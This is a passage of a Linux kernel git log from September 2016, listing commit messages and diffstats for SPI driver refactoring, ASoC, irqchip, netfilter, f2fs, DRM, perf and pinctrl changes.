2016 +0200 spi: fsl-espi: factor out handling of read data Factor out copying read data to the read buffers in the original message to a new function fsl_espi_copy_from_buf. This also allows to simplify fsl_espi_copy_to_buf. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 41 +++++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 20 deletions(-) commit 96361fafbbfc8a07b4c7ec09d96d742ef68bfbad Author: Heiner Kallweit Date: Wed Sep 7 22:54:00 2016 +0200 spi: fsl-espi: centralize populating struct spi_transfer Better structure the code by population all elements of struct spi_transfer in one place. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit d3152cf1c8cf3f75d8eb82ae399ea4b35a0df8d4 Author: Heiner Kallweit Date: Wed Sep 7 22:53:38 2016 +0200 spi: fsl-espi: factor out initial message checking Checking the message is currently done at diffrent places in the driver. Factor it out to fsl_espi_check_message. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 43 +++++++++++++++++++++++++++++-------------- 1 file changed, 29 insertions(+), 14 deletions(-) commit 2a4635ea1d39affd8bc9d33b062b03f33c910889 Author: Jorge Ramirez-Ortiz Date: Wed Sep 7 17:43:00 2016 +0200 spi: tools: enable CROSS_COMPILE in Makefile Signed-off-by: Jorge Ramirez-Ortiz Signed-off-by: Mark Brown tools/spi/Makefile | 2 ++ 1 file changed, 2 insertions(+) commit 7c7289a40425d48bbfcaacc454a8caf5b47f63b0 Author: Andy Shevchenko Date: Wed Sep 7 15:43:22 2016 +0300 spi: pxa2xx: Default thresholds to PXA configuration Most of the devices in the supported list have PXA configuration of FIFO. In particularly Intel Medfield and Merrifield have bigger FIFO, than it's defined for CE4100. Split CE4100 in the similar way how it was done for Intel Quark, i.e. prefix definitions by CE4100 and append necessary pieces of code to switch case conditions. We are on safe side since those bits are ignored on all LPSS IPs. Signed-off-by: Andy Shevchenko Reviewed-by: Jarkko Nikula Signed-off-by: Mark Brown drivers/spi/spi-pxa2xx.c | 47 +++++++++++++++++++++++++++++++++++++++++----- include/linux/pxa2xx_ssp.h | 20 ++++++++------------ 2 files changed, 50 insertions(+), 17 deletions(-) commit 96579a4e56bdecfb4642cfb68eb85d079acb9d28 Author: Jarkko Nikula Date: Wed Sep 7 17:04:07 2016 +0300 spi: pxa2xx: Remove pointer to chip data from driver data Transfer state machine in this driver does not need to set/unset pointer to chip data between queueing and finalizing message as it is not actually used as a state info itself but just pointer passing. Since this per SPI device specific chip data is already carried in ctldata use that and remove pointer to chip data from driver data. While at it, group initialized variables before uninitialized variables in pump_transfers(). Signed-off-by: Jarkko Nikula Signed-off-by: Mark Brown drivers/spi/spi-pxa2xx-dma.c | 3 ++- drivers/spi/spi-pxa2xx.c | 28 +++++++++++++--------------- drivers/spi/spi-pxa2xx.h | 1 - 3 files changed, 15 insertions(+), 17 deletions(-) commit 4fc0caac065dbf300238997c7d2c212a2b120099 Author: Jarkko Nikula Date: Wed Sep 7 17:04:06 2016 +0300 spi: pxa2xx: Remove pointer to current SPI message from driver data There is no need to carry pointer to current SPI message in driver data because cur_msg in struct spi_master holds it already when driver is using the message queueing infrastructure from the SPI core. Signed-off-by: Jarkko Nikula Signed-off-by: Mark Brown drivers/spi/spi-pxa2xx-dma.c | 2 +- drivers/spi/spi-pxa2xx.c | 25 +++++++++++-------------- drivers/spi/spi-pxa2xx.h | 1 - 3 files changed, 12 insertions(+), 16 deletions(-) commit bffc967e93c771805739a4cc4c7849a749a7b0a6 Author: Jarkko Nikula Date: Wed Sep 7 17:04:05 2016 +0300 spi: pxa2xx: Do not needlessly initialize stack variables All of these variables are unconditionally set before their use. Signed-off-by: Jarkko Nikula Signed-off-by: Mark Brown drivers/spi/spi-pxa2xx-dma.c | 2 +- drivers/spi/spi-pxa2xx.c | 20 ++++++++++---------- 2 files changed, 11 insertions(+), 11 deletions(-) commit 3628c6987fb45d719cd963805bbba9f15017290e Author: Sugar Zhang Date: Wed Sep 7 14:30:21 2016 +0800 ASoC: rockchip: spdif: restore register during runtime_suspend/resume cycle when step into runtime_suspend, spdif pd will be disabled and loss state. so need to restore register when runtime_resume. Signed-off-by: Sugar Zhang Signed-off-by: Mark Brown sound/soc/rockchip/rockchip_spdif.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit f0447f6cbb202e1be8244d15aee390a96d65e490 Author: Sugar Zhang Date: Wed Sep 7 14:27:33 2016 +0800 ASoC: rockchip: i2s: restore register during runtime_suspend/resume cycle when step into runtime_suspend, i2s pd will be disabled and loss state. so need to restore register when runtime_resume. Signed-off-by: Sugar Zhang Signed-off-by: Mark Brown sound/soc/rockchip/rockchip_i2s.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit a1338a7d4cd401bb71f4562d6896aa2b74eeb1fb Author: Oder Chiou Date: Wed Sep 7 11:07:49 2016 +0800 ASoC: rt5514: make the volume TLV to match the units 0.01dB The volume have a step of 0.375dB, but TLV uses the units 0.01dB. It should be changed to a step of 0.75dB to match the units of TLV. Signed-off-by: Oder Chiou Signed-off-by: Mark Brown sound/soc/codecs/rt5514.c | 6 +++--- sound/soc/codecs/rt5514.h | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) commit 3aef463222eaf1ca505629e93a0b64e4040a4472 Author: Matthias Seidel Date: Wed Sep 7 17:45:30 2016 +0200 spi: dw: round up result of calculation for clock divider Avoid ending up with a higher frequency than requested Signed-off-by: Matthias Seidel Signed-off-by: Mark Brown drivers/spi/spi-dw.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5bcc6a2f061266060e0b144302e83e614f683cd7 Author: Heiner Kallweit Date: Wed Sep 7 22:53:01 2016 +0200 spi: fsl-espi: merge fsl_espi_bufs and fsl_espi_cpu_bufs fsl_espi_bufs and fsl_espi_cpu_bufs are very small that we can merge them. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 27 ++++++++------------------- 1 file changed, 8 insertions(+), 19 deletions(-) commit 84ccfc371f4a8d1ff86efd7ca7914e33b90325c2 Author: Heiner Kallweit Date: Wed Sep 7 22:52:43 2016 +0200 spi: fsl-espi: improve return value handling in fsl_espi_bufs Return a proper status code from fsl_espi_bufs instead of returning the number of remaining words and let the caller evaluate it. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 809b1e017bbdaf40d35619e41c1dbc542a5449d2 Author: Heiner Kallweit Date: Wed Sep 7 22:52:25 2016 +0200 spi: fsl-espi: merge fsl_espi_cmd_trans and fsl_espi_rw_trans fsl_espi_cmd_trans and fsl_espi_rw_trans share most of the code so we can merge them. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 33 ++++++--------------------------- 1 file changed, 6 insertions(+), 27 deletions(-) commit faceef390702bad8bdf9c93554a3364253d9d943 Author: Heiner Kallweit Date: Wed Sep 7 22:52:06 2016 +0200 spi: fsl-espi: eliminate struct fsl_espi_transfer The remaining elements of struct fsl_espi_transfer are part of struct spi_transfer anyway. So we can get rid of struct fsl_espi_transfer and use a struct spi_transfer only. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 56 +++++++++++++++++----------------------------- 1 file changed, 20 insertions(+), 36 deletions(-) commit 5cd7b8be6b7b4c4fb9e2bfbfba596d27357cc359 Author: Heiner Kallweit Date: Wed Sep 7 22:51:48 2016 +0200 spi: fsl-espi: remove element actual_length from struct fsl_espi_trans If an error occurs during processing the message, then we don't have to populate the actual_length element of struct message. So we can get rid of element actual_length in struct fsl_espi_transfer. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 0319d4991ea6e7594f32843e1b47868737056799 Author: Heiner Kallweit Date: Wed Sep 7 22:51:29 2016 +0200 spi: fsl-espi: fix status handling in fsl_espi_do_one_msg If an error occurred during message handling return this error instead of always returning 0 and align the code with the generic implementation in spi_transfer_one_message. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit e33a3ade909194ec2ca633a53b428d4dac853f8a Author: Heiner Kallweit Date: Wed Sep 7 22:51:10 2016 +0200 spi: fsl-espi: remove element status from struct fsl_espi_transfer Use the return values of the functions in the call chain to transport status information instead of using an element in struct fsl_espi_transfer for this. This is more in line with the general approach how to handle status information and is one step further to eventually get rid of struct fsl_espi_transfer completely. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 47 +++++++++++++++++++++++++--------------------- 1 file changed, 26 insertions(+), 21 deletions(-) commit 7c159aa8c103b02a8434ae18b22048952c796e6f Author: Heiner Kallweit Date: Wed Sep 7 22:50:53 2016 +0200 spi: fsl-espi: factor out filling the local buffer Better structure the code by factoring out filling the local buffer. In addition don't initialize the complete local buffer at the beginning of fsl_espi_do_one_msg. Instead move initialization of those parts of the local buffer to be used for transfers w/o tx_buf to fsl_espi_copy_to_buf. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 46 ++++++++++++++++++++++++---------------------- 1 file changed, 24 insertions(+), 22 deletions(-) commit 1423877b73ed5f4982eaba8bed359605b9918a2b Author: Heiner Kallweit Date: Wed Sep 7 22:50:22 2016 +0200 spi: fsl-espi: pre-allocate message buffer Currently the driver allocates a 64kb buffer for each single message. On systems with little and fragmented memory this can result in memory allocation errors. Solve this by pre-allocating a buffer. This patch was developed in OpenWRT long ago, however it never made it upstream. I slightly modified the original patch to re-initialize the buffer at the beginning of each transfer. Signed-off-by: Gabor Juhos Signed-off-by: Felix Fietkau Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 41 ++++++++++++++++++----------------------- drivers/spi/spi-fsl-lib.h | 1 + 2 files changed, 19 insertions(+), 23 deletions(-) commit 89c59cca48f04ede7e63944418af1794a8e31da6 Author: Baoyou Xie Date: Wed Sep 7 19:26:45 2016 +0800 irqchip/gic: Mark gic_init_physaddr() static We get 1 warning when building kernel with W=1: drivers/irqchip/irq-gic.c:917:13: warning: no previous prototype for 'gic_init_physaddr' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks this function with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Marc Zyngier drivers/irqchip/irq-gic.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 39a342b25252f34d1dbe758b2b99bd055ff3b885 Author: Jon Hunter Date: Tue Aug 16 11:14:10 2016 +0100 irqchip/gic-pm: Update driver to use of_pm_clk_add_clk Commit 498b5fdd40dd ("PM / clk: Add support for adding a specific clock from device-tree") add a new helper function for adding a clock from device-tree to a device. Update the GIC-PM driver to use this new function to simplify the driver. Signed-off-by: Jon Hunter Signed-off-by: Marc Zyngier drivers/irqchip/irq-gic-pm.c | 23 +++++------------------ 1 file changed, 5 insertions(+), 18 deletions(-) commit 91ef84428a86b75a52e15c6fe4f56b446ba75f93 Author: Daniel Thompson Date: Fri Aug 19 17:13:09 2016 +0100 irqchip/gic-v3: Reset BPR during initialization Currently, when running on FVP, CPU 0 boots up with its BPR changed from the reset value. This renders it impossible to (preemptively) prioritize interrupts on CPU 0. This is harmless on normal systems since Linux typically does not support preemptive interrupts. It does however cause problems in systems with additional changes (such as patches for NMI simulation). Many thanks to Andrew Thoelke for suggesting the BPR as having the potential to harm preemption. Suggested-by: Andrew Thoelke Signed-off-by: Daniel Thompson Signed-off-by: Marc Zyngier arch/arm/include/asm/arch_gicv3.h | 6 ++++++ arch/arm64/include/asm/arch_gicv3.h | 6 ++++++ drivers/irqchip/irq-gic-v3.c | 8 ++++++++ 3 files changed, 20 insertions(+) commit 04c8b0f82c7d5a9a1c296eef914ae3bb820bcb85 Author: Marc Zyngier Date: Mon Jun 27 18:11:43 2016 +0100 irqchip/gic: Make locking a BL_SWITCHER only feature The BL switcher code manipulates the logical/physical CPU mapping, forcing a lock to be taken on the IPI path. With an IPI heavy load, this single lock becomes contended. But when CONFIG_BL_SWITCHER is not enabled, there is no reason to take this lock at all since the CPU mapping is immutable. This patch allows the lock to be entierely removed when BL_SWITCHER is not enabled (which is the case in most configurations), leading to a small improvement of "perf bench sched pipe" (measured on an 8 core AMD Seattle system): Before: 101370 ops/sec After: 103680 ops/sec Take this opportunity to remove a useless lock being taken when handling an interrupt on a secondary GIC. Signed-off-by: Marc Zyngier drivers/irqchip/irq-gic.c | 36 +++++++++++++++++++++++++++--------- 1 file changed, 27 insertions(+), 9 deletions(-) commit c7c35407cd8654b5ee138b6f1dbb24dc62a3f3c0 Author: Colin Ian King Date: Thu Sep 8 09:38:01 2016 +0100 EDAC, sb_edac: Remove NULL pointer check on array pci_tad pvt->pci_tad is a NUM_CHANNELS array of struct pci_dev pointers and hence cannot be NULL, so the NULL pointer check on pci_tad is redundant. Remove it. Signed-off-by: Colin Ian King Acked-by: Tony Luck Cc: linux-edac Link: http://lkml.kernel.org/r/20160908083801.14766-1-colin.king@canonical.com Signed-off-by: Borislav Petkov drivers/edac/sb_edac.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 2e917d602acd9e3e8c6e4c43b213c8929d986503 Author: Liping Zhang Date: Mon Sep 12 22:21:36 2016 +0800 netfilter: nft_numgen: fix race between num generate and store it After we generate a new number, we still use the priv->counter and store it to the dreg. This is not correct, another cpu may already change it to a new number. So we must use the generated number, not the priv->counter itself. Fixes: 91dbc6be0a62 ("netfilter: nf_tables: add number generator expression") Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_numgen.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8e8118f893138d4cc3d4dbf4163d7497fca54a9d Author: Florian Westphal Date: Sun Sep 11 22:55:53 2016 +0200 netfilter: conntrack: remove packet hotpath stats These counters sit in hot path and do show up in perf, this is especially true for 'found' and 'searched' which get incremented for every packet processed. Information like searched=212030105 new=623431 found=333613 delete=623327 does not seem too helpful nowadays: - on busy systems found and searched will overflow every few hours (these are 32bit integers), other more busy ones every few days. - for debugging there are better methods, such as iptables' trace target, the conntrack log sysctls. Nowadays we also have perf tool. This removes packet path stat counters except those that are expected to be 0 (or close to 0) on a normal system, e.g. 'insert_failed' (race happened) or 'invalid' (proto tracker rejects). The insert stat is retained for the ctnetlink case. The found stat is retained for the tuple-is-taken check when NAT has to determine if it needs to pick a different source address. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso include/linux/netfilter/nf_conntrack_common.h | 4 ---- include/uapi/linux/netfilter/nfnetlink_conntrack.h | 8 ++++---- net/netfilter/nf_conntrack_core.c | 14 ++------------ net/netfilter/nf_conntrack_netlink.c | 6 +----- net/netfilter/nf_conntrack_standalone.c | 8 ++++---- 5 files changed, 11 insertions(+), 29 deletions(-) commit 6bd14303a908833e10ac731a3308eba938305269 Author: Liping Zhang Date: Sun Sep 11 22:05:27 2016 +0800 netfilter: nf_queue: get rid of dependency on IP6_NF_IPTABLES hash_v6 is used by both nftables and ip6tables, so depend on IP6_NF_IPTABLES is not properly. Actually, it only parses ipv6hdr and computes a hash value, so even if IPV6 is disabled, there's no side effect too, remove it. Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_queue.h | 4 ---- 1 file changed, 4 deletions(-) commit 23d07508d25cea9984ee068538b4e86932b015c2 Author: Gao Feng Date: Sat Sep 10 10:04:30 2016 +0800 netfilter: Add the missed return value check of nft_register_chain_type There are some codes of netfilter module which did not check the return value of nft_register_chain_type. Add the checks now. Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso net/bridge/netfilter/nf_tables_bridge.c | 18 +++++++++++++----- net/ipv4/netfilter/nf_tables_arp.c | 5 ++++- net/ipv4/netfilter/nf_tables_ipv4.c | 5 ++++- net/ipv6/netfilter/nf_tables_ipv6.c | 5 ++++- net/netfilter/nf_tables_inet.c | 5 ++++- net/netfilter/nf_tables_netdev.c | 5 ++++- 6 files changed, 33 insertions(+), 10 deletions(-) commit 4e6577de71803142d01e374cf15664af0388799a Author: Gao Feng Date: Fri Sep 9 23:25:09 2016 +0800 netfilter: Add the missed return value check of register_netdevice_notifier There are some codes of netfilter module which did not check the return value of register_netdevice_notifier. Add the checks now. Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_tables_netdev.c | 18 +++++++++++++----- net/netfilter/nfnetlink_queue.c | 9 ++++++++- net/netfilter/xt_TEE.c | 8 +++++++- 3 files changed, 28 insertions(+), 7 deletions(-) commit cf71c03edf10076f05a0b678fc9c8f8e6c6e24e4 Author: Pablo Neira Date: Fri Sep 9 14:01:26 2016 +0200 netfilter: nf_conntrack: simplify __nf_ct_try_assign_helper() return logic Instead of several goto's just to return the result, simply return it. Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_helper.c | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) commit 7f3037a5ec0672e03f96d4b0b86169c4c48e479e Author: Jaegeuk Kim Date: Thu Sep 1 12:02:51 2016 -0700 f2fs: check free_sections for defragmentation Fix wrong condition check for defragmentation of a file. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/data.c | 4 ++-- fs/f2fs/file.c | 2 +- fs/f2fs/gc.c | 10 +++++----- fs/f2fs/segment.c | 6 +++--- fs/f2fs/segment.h | 7 ++++--- 5 files changed, 15 insertions(+), 14 deletions(-) commit ed214a11830a12a83511eb32415e71f1a0760b8a Author: Yunlei He Date: Thu Sep 1 10:14:39 2016 +0800 f2fs: forbid to do fstrim if fs has some error This patch skip fstrim if sbi set SBI_NEED_FSCK flag Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim fs/f2fs/segment.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 34b5d5c22d64273319a525cb4e9f2d073df9f4a0 Author: Jaegeuk Kim Date: Tue Sep 6 15:55:54 2016 -0700 f2fs: avoid page allocation for truncating partial inline_data When truncating cached inline_data, we don't need to allocate a new page all the time. Instead, it must check its page cache only. Signed-off-by: Jaegeuk Kim fs/f2fs/file.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a8499f20d30e0f9632017fd27a8f1d8c146a6a33 Author: Bjorn Helgaas Date: Thu Sep 8 17:30:38 2016 -0500 PCI: pciehp: Rename pcie_isr() locals for clarity Rename "detected" and "intr_loc" to "status" and "events" for clarity. "status" is the value we read from the Slot Status register; "events" is the set of hot-plug events we need to process. No functional change intended. Tested-by: Lukas Wunner Signed-off-by: Bjorn Helgaas Reviewed-by: Mika Westerberg drivers/pci/hotplug/pciehp_hpc.c | 46 ++++++++++++++++++++++------------------ 1 file changed, 25 insertions(+), 21 deletions(-) commit 71212c9b04eba76faa4dca26ccd1552d6bb300c1 Author: Pablo Neira Ayuso Date: Fri Sep 9 12:42:53 2016 +0200 netfilter: nf_tables: don't drop IPv6 packets that cannot parse transport This is overly conservative and not flexible at all, so better let them go through and let the filtering policy decide what to do with them. We use skb_header_pointer() all over the place so we would just fail to match when trying to access fields from malformed traffic. Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_tables_ipv6.h | 6 ++---- net/ipv6/netfilter/nf_tables_ipv6.c | 4 +--- net/ipv6/netfilter/nft_chain_route_ipv6.c | 4 +--- 3 files changed, 4 insertions(+), 10 deletions(-) commit 10151d7b03e23afce76a59f717f2616a10ddef86 Author: Pablo Neira Ayuso Date: Fri Sep 9 12:42:52 2016 +0200 netfilter: nf_tables_bridge: use nft_set_pktinfo_ipv{4, 6}_validate Consolidate pktinfo setup and validation by using the new generic functions so we converge to the netdev family codebase. We only need a linear IPv4 and IPv6 header from the reject expression, so move nft_bridge_iphdr_validate() and nft_bridge_ip6hdr_validate() to net/bridge/netfilter/nft_reject_bridge.c. Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_tables_bridge.h | 7 ---- net/bridge/netfilter/nf_tables_bridge.c | 72 +------------------------------- net/bridge/netfilter/nft_reject_bridge.c | 44 ++++++++++++++++++- 3 files changed, 45 insertions(+), 78 deletions(-) commit ddc8b6027ad08d145a6d7a6a6abc00e43f315bd1 Author: Pablo Neira Ayuso Date: Fri Sep 9 12:42:51 2016 +0200 netfilter: introduce nft_set_pktinfo_{ipv4, ipv6}_validate() These functions are extracted from the netdev family, they initialize the pktinfo structure and validate that the IPv4 and IPv6 headers are well-formed given that these functions are called from a path where layer 3 sanitization did not happen yet. These functions are placed in include/net/netfilter/nf_tables_ipv{4,6}.h so they can be reused by a follow up patch to use them from the bridge family too. Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_tables_ipv4.h | 42 ++++++++++++++++++ include/net/netfilter/nf_tables_ipv6.h | 49 +++++++++++++++++++++ net/netfilter/nf_tables_netdev.c | 79 +--------------------------------- 3 files changed, 93 insertions(+), 77 deletions(-) commit 8df9e32e7ed2978f90cce780ce6a27513044158a Author: Pablo Neira Ayuso Date: Fri Sep 9 12:42:50 2016 +0200 netfilter: nf_tables_ipv6: setup pktinfo transport field on failure to parse Make sure the pktinfo protocol fields are initialized if this fails to parse the transport header. Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_tables_ipv6.h | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit beac5afa2d78605b70f40cf5ab5601ab10659c7f Author: Pablo Neira Ayuso Date: Fri Sep 9 12:42:49 2016 +0200 netfilter: nf_tables: ensure proper initialization of nft_pktinfo fields This patch introduces nft_set_pktinfo_unspec() that ensures proper initialization all of pktinfo fields for non-IP traffic. This is used by the bridge, netdev and arp families. This new function relies on nft_set_pktinfo_proto_unspec() to set a new tprot_set field that indicates if transport protocol information is available. Remain fields are zeroed. The meta expression has been also updated to check to tprot_set in first place given that zero is a valid tprot value. Even a handcrafted packet may come with the IPPROTO_RAW (255) protocol number so we can't rely on this value as tprot unset. Reported-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_tables.h | 18 ++++++++++++++++++ include/net/netfilter/nf_tables_ipv4.h | 1 + include/net/netfilter/nf_tables_ipv6.h | 1 + net/bridge/netfilter/nf_tables_bridge.c | 6 +++--- net/ipv4/netfilter/nf_tables_arp.c | 2 +- net/netfilter/nf_tables_netdev.c | 4 +++- net/netfilter/nft_meta.c | 2 ++ 7 files changed, 29 insertions(+), 5 deletions(-) commit dbd2be0646e3239022630c426cbceefa15714bca Author: Pablo Neira Ayuso Date: Wed Sep 7 12:22:18 2016 +0200 netfilter: nft_dynset: allow to invert match criteria The dynset expression matches if we can fit a new entry into the set. If there is no room for it, then it breaks the rule evaluation. This patch introduces the inversion flag so you can add rules to explicitly drop packets that don't fit into the set. For example: # nft filter input flow table xyz size 4 { ip saddr timeout 120s counter } overflow drop This is useful to provide a replacement for connlimit. For the rule above, every new entry uses the IPv4 address as key in the set, this entry gets a timeout of 120 seconds that gets refresh on every packet seen. If we get new flow and our set already contains 4 entries already, then this packet is dropped. You can already express this in positive logic, assuming default policy to drop: # nft filter input flow table xyz size 4 { ip saddr timeout 10s counter } accept Signed-off-by: Pablo Neira Ayuso include/uapi/linux/netfilter/nf_tables.h | 6 ++++++ net/netfilter/nft_dynset.c | 20 +++++++++++++++++++- 2 files changed, 25 insertions(+), 1 deletion(-) commit 70ca767ea1b2748f45e96192400e515dddbe517c Author: Laura Garcia Liebana Date: Tue Sep 6 08:44:19 2016 +0200 netfilter: nft_hash: Add hash offset value Add support to pass through an offset to the hash value. With this feature, the sysadmin is able to generate a hash with a given offset value. Example: meta mark set jhash ip saddr mod 2 seed 0xabcd offset 100 This option generates marks according to the source address from 100 to 101. Signed-off-by: Laura Garcia Liebana include/uapi/linux/netfilter/nf_tables.h | 2 ++ net/netfilter/nft_hash.c | 17 +++++++++++++---- 2 files changed, 15 insertions(+), 4 deletions(-) commit 32b63776931acc7dbaaf336a99dd7306a815a254 Merge: c693593 66e94ba Author: Russell King Date: Wed Sep 7 17:15:23 2016 +0100 Merge tag 'arm-plt-optimizations-for-v4.9' of git://git.linaro.org/people/ard.biesheuvel/linux-arm into devel-stable This series of 4 patches optimizes the ARM PLT generation code that is invoked at module load time, to get rid of the O(n^2) algorithm that results in pathological load times of 10 seconds or more for large modules on certain STB platforms commit f92f053bb60924297afb8a1bd9166712c0fe5e88 Author: Maarten Lankhorst Date: Thu Sep 8 12:30:01 2016 +0200 drm: Move property validation to a helper, v2. Property lifetimes are equal to the device lifetime, so the separate drm_property_find is not needed. The pointer can be retrieved from the properties member, which saves us some locking and a extra lookup. The lifetime for properties is until the device is destroyed, which happens late in the device unload path. kms_atomic is also testing for invalid properties which returns -ENOENT, to be consistent return -ENOENT for valid properties that don't appear on the object property list. Changes since v1: - Return -ENOENT for invalid properties to make kms_atomic pass. - Change commit message slightly to take this into account. Testcase: kms_atomic Testcase: kms_properties Fixes: 4e9951d96093 ("drm/atomic: Reject properties not part of the object.") Suggested-by: Ville Syrjälä Signed-off-by: Maarten Lankhorst Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/599c7fa8-b6fd-a42b-c619-a9e4a9c5c244@linux.intel.com drivers/gpu/drm/drm_atomic.c | 13 ++----------- drivers/gpu/drm/drm_crtc_internal.h | 2 ++ drivers/gpu/drm/drm_mode_object.c | 31 ++++++++++++++++--------------- 3 files changed, 20 insertions(+), 26 deletions(-) commit d9ea48bc4e7cc297ca1073fa3f90ed80d964b7b4 Author: Namhyung Kim Date: Mon Sep 12 15:19:52 2016 +0900 perf hists browser: Fix event group display Milian reported that the event group on TUI shows duplicated overhead. This was due to a bug on calculating hpp->buf position. The hpp_advance() was called from __hpp__slsmg_color_printf() on TUI but it's already called from the hpp__call_print_fn macro in __hpp__fmt(). The end result is that the print function returns number of bytes it printed but the buffer advanced twice of the length. This is generally not a problem since it doesn't need to access the buffer again. But with event group, overhead needs to be printed multiple times and hist_entry__snprintf_alignment() tries to fill the space with buffer after it printed. So it (brokenly) showed the last overhead again. The bug was there from the beginning, but I think it's only revealed when the alignment function was added. Reported-by: Milian Wolff Signed-off-by: Namhyung Kim Cc: Andi Kleen Cc: Jiri Olsa Cc: Peter Zijlstra Fixes: 89fee7094323 ("perf hists: Do column alignment on the format iterator") Link: http://lkml.kernel.org/r/20160912061958.16656-2-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/browsers/hists.c | 1 - 1 file changed, 1 deletion(-) commit 395317bbc200fbc164e65cc8ec31fa9d766aeaf1 Author: Arnd Bergmann Date: Mon Sep 12 11:58:56 2016 +0200 rpmsg: smd: fix dependency on QCOM_SMD=n The ARM allmodconfig build broke with the addition of the SMD rpmsg driver that conflicts with the driver its replaces: WARNING: drivers/soc/qcom/smd: 'qcom_smd_register_edge' exported twice. Previous export was in drivers/rpmsg/qcom_smd.ko WARNING: drivers/soc/qcom/smd: 'qcom_smd_unregister_edge' exported twice. Previous export was in drivers/rpmsg/qcom_smd.ko There is already a dependency that is meant to avoid the broken configuration, but that only prevents the case where at least one of the two are built-in, but not if both are modules. This changes the dependency to "=n", to ensure that the new driver can only be enabled if the other one is completely disabled. Signed-off-by: Arnd Bergmann Fixes: 53e2822e56c7 ("rpmsg: Introduce Qualcomm SMD backend") Signed-off-by: Bjorn Andersson drivers/rpmsg/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f971cc9aabc287120bbe7f3f1abe70c13e61ee94 Author: Steven Rostedt (Red Hat) Date: Wed Sep 7 12:45:09 2016 -0400 tracing: Have max_latency be defined for HWLAT_TRACER as well The hwlat tracer uses tr->max_latency, and if it's the only tracer enabled that uses it, the build will fail. Add max_latency and its file when the hwlat tracer is enabled. Link: http://lkml.kernel.org/r/d6c3b7eb-ba95-1ffa-0453-464e1e24262a@infradead.org Reported-by: Randy Dunlap Tested-by: Randy Dunlap Acked-by: Randy Dunlap Signed-off-by: Steven Rostedt kernel/trace/trace.c | 6 +++--- kernel/trace/trace.h | 2 ++ 2 files changed, 5 insertions(+), 3 deletions(-) commit b09eed7f811de64f1352634baa48ca8aecddac51 Author: Sylwester Nawrocki Date: Thu Sep 1 13:59:00 2016 +0200 pinctrl: samsung: Remove an always false dev->of_node test samsung_pinctrl_probe() can be called only after matching the driver by the compatible string so this already implies a non null dev->of_node. Remove the always false test and related error trace. While at it drop another error log in case of memory allocation failure - any errors are logged by the memory subsystem. Signed-off-by: Sylwester Nawrocki Reviewed-by: Krzysztof Kozlowski Signed-off-by: Linus Walleij drivers/pinctrl/samsung/pinctrl-samsung.c | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) commit c11a0442b0fe01244de09849f62a0370482a0196 Author: Vincent Stehlé Date: Wed Aug 31 14:30:50 2016 +0200 pinctrl: intel: merrifield: fix dup size in probe In function mrfld_pinctrl_probe(), when duplicating the mrfld_families array the requested memory region length is multiplied once too many by the number of elements in the original array. Fix this to spare some memory. Fixes: 4e80c8f505741cbd ("pinctrl: intel: Add Intel Merrifield pin controller support") Signed-off-by: Vincent Stehlé Acked-by: Andy Shevchenko Signed-off-by: Linus Walleij drivers/pinctrl/intel/pinctrl-merrifield.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 313b9a9938bf4076425741121d5d766826793e5d Author: Colin Ian King Date: Fri Sep 9 09:31:54 2016 +0100 